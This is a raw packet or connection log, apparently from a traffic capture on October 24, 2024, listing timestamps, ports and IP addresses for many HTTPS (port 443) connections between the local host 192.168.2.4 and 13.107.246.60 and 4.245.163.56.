Oct 24, 2024 08:50:48.483971119 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.510536909 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.510561943 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.510787964 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.510818005 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.510966063 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.511792898 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.511814117 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.511884928 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.511892080 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.511940002 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.512959957 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.512978077 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.513045073 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.513051987 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.513098001 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.514251947 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.514270067 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.514339924 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.514347076 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.514390945 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.515656948 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.515674114 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.515748024 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.515755892 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.515803099 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.563220024 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.563302040 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.563369036 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.563393116 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.563465118 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.563533068 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.563534021 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.564850092 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.564929962 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.564932108 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.564974070 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.565001965 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.567995071 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.568032980 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.568054914 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.568362951 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.568444014 CEST	443	49780	4.245.163.56	192.168.2.4
Oct 24, 2024 08:50:48.568497896 CEST	49780	443	192.168.2.4	4.245.163.56
Oct 24, 2024 08:50:48.600929976 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.600955009 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601027012 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601046085 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601093054 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601181984 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601244926 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601250887 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601265907 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601298094 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601330996 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601435900 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601452112 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.601475000 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.601480961 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.663846970 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.663851976 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.663878918 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.663898945 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.663955927 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.663988113 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.664423943 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.664472103 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.664535046 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665019989 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665025949 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665035009 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665092945 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665103912 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665116072 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665167093 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665241003 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665256023 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665267944 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665268898 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665877104 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.665884018 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:48.665947914 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.666054010 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:48.666062117 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.390861988 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.398593903 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.405544043 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.406636953 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.407031059 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.439779043 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.439779997 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.455406904 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.455410957 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.458653927 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.485044003 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.485063076 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.485579014 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.485584021 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.485868931 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.485893011 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.486262083 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.486267090 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.486434937 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.486454010 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.486793041 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.486798048 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.486990929 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.486996889 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.487371922 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.487375021 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.487555981 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.487581968 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.487904072 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.487910032 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613013029 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613034010 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613060951 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613095045 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613114119 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613137960 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613193989 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613425016 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613425016 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613441944 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613445997 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613456964 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613465071 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.613487959 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.613493919 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614487886 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614550114 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614598989 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.614690065 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614717960 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614767075 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.614772081 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.614813089 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.615236044 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.615255117 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.615271091 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.615277052 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.615375996 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.615381956 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.615400076 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.615403891 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617058039 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617086887 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617182016 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.617196083 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617244959 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.617487907 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617542982 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.617585897 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618025064 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618050098 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618112087 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618216038 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618230104 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618241072 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618247032 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618356943 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618392944 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618457079 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618599892 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618638039 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618690014 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618758917 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618767977 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.618850946 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.618861914 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.619203091 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.619213104 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.623480082 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.623491049 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.623575926 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.623701096 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.623707056 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.624334097 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.624346018 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:49.624433041 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.624581099 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:49.624588013 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.362797976 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.363600016 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.363704920 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.364115000 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.364134073 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.367114067 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.367466927 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.367501020 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.367789984 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.367842913 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.367856026 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.368005037 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.368077040 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.368155956 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.368278980 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.368297100 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.368438959 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.368453026 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.368798971 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.368803978 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.406270027 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.407075882 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.407124996 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.407608986 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.407620907 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.493294001 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.493465900 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.493590117 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.493801117 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.493854046 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.493891954 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.493907928 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.497262001 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.497381926 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.497466087 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.499177933 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.499177933 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.499206066 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.499227047 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.499480009 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.499624968 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.499682903 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.500066042 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.500088930 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.500102997 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.500109911 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.500790119 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.500972986 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.501040936 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502166033 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502242088 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502264023 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502315998 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502342939 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502418041 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502485991 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502489090 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502510071 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502512932 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502542973 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502557039 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502602100 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502650023 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502677917 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502732038 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502765894 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.502816916 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.502844095 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.504740000 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.504776001 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.504887104 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.505021095 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.505048037 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.537817001 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.538058043 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.538141012 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.543953896 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.543983936 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.549674034 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.549746037 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:50.549860001 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.550002098 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:50.550029993 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.230504990 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.234643936 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.234736919 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.235202074 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.235219002 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.237123013 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.237560987 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.237584114 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.237922907 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.237930059 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.238390923 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.238641977 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.238660097 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.238986969 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.238991976 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.243360043 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.243794918 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.243866920 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.244143009 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.244159937 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.294020891 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.296499968 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.296545029 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.297012091 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.297019005 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.359620094 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.359708071 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.359780073 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.360021114 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.360069990 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.360122919 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.360147953 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.363383055 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.363425970 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.363523960 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.363702059 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.363718987 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.365982056 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.366146088 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.366235971 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.366319895 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.366321087 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.366365910 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.366400003 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.367846012 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.368006945 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.368077993 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368108034 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368124008 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.368145943 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368160009 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.368464947 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368500948 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.368576050 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368716955 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.368736029 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.374005079 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.374023914 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.374089956 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.374289989 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.374303102 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.378763914 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.378931046 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.379019976 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.379067898 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.379067898 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:50:51.379091024 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 08:50:51.379131079 CEST	443	49795	13.107.246.60	192.168.2.4
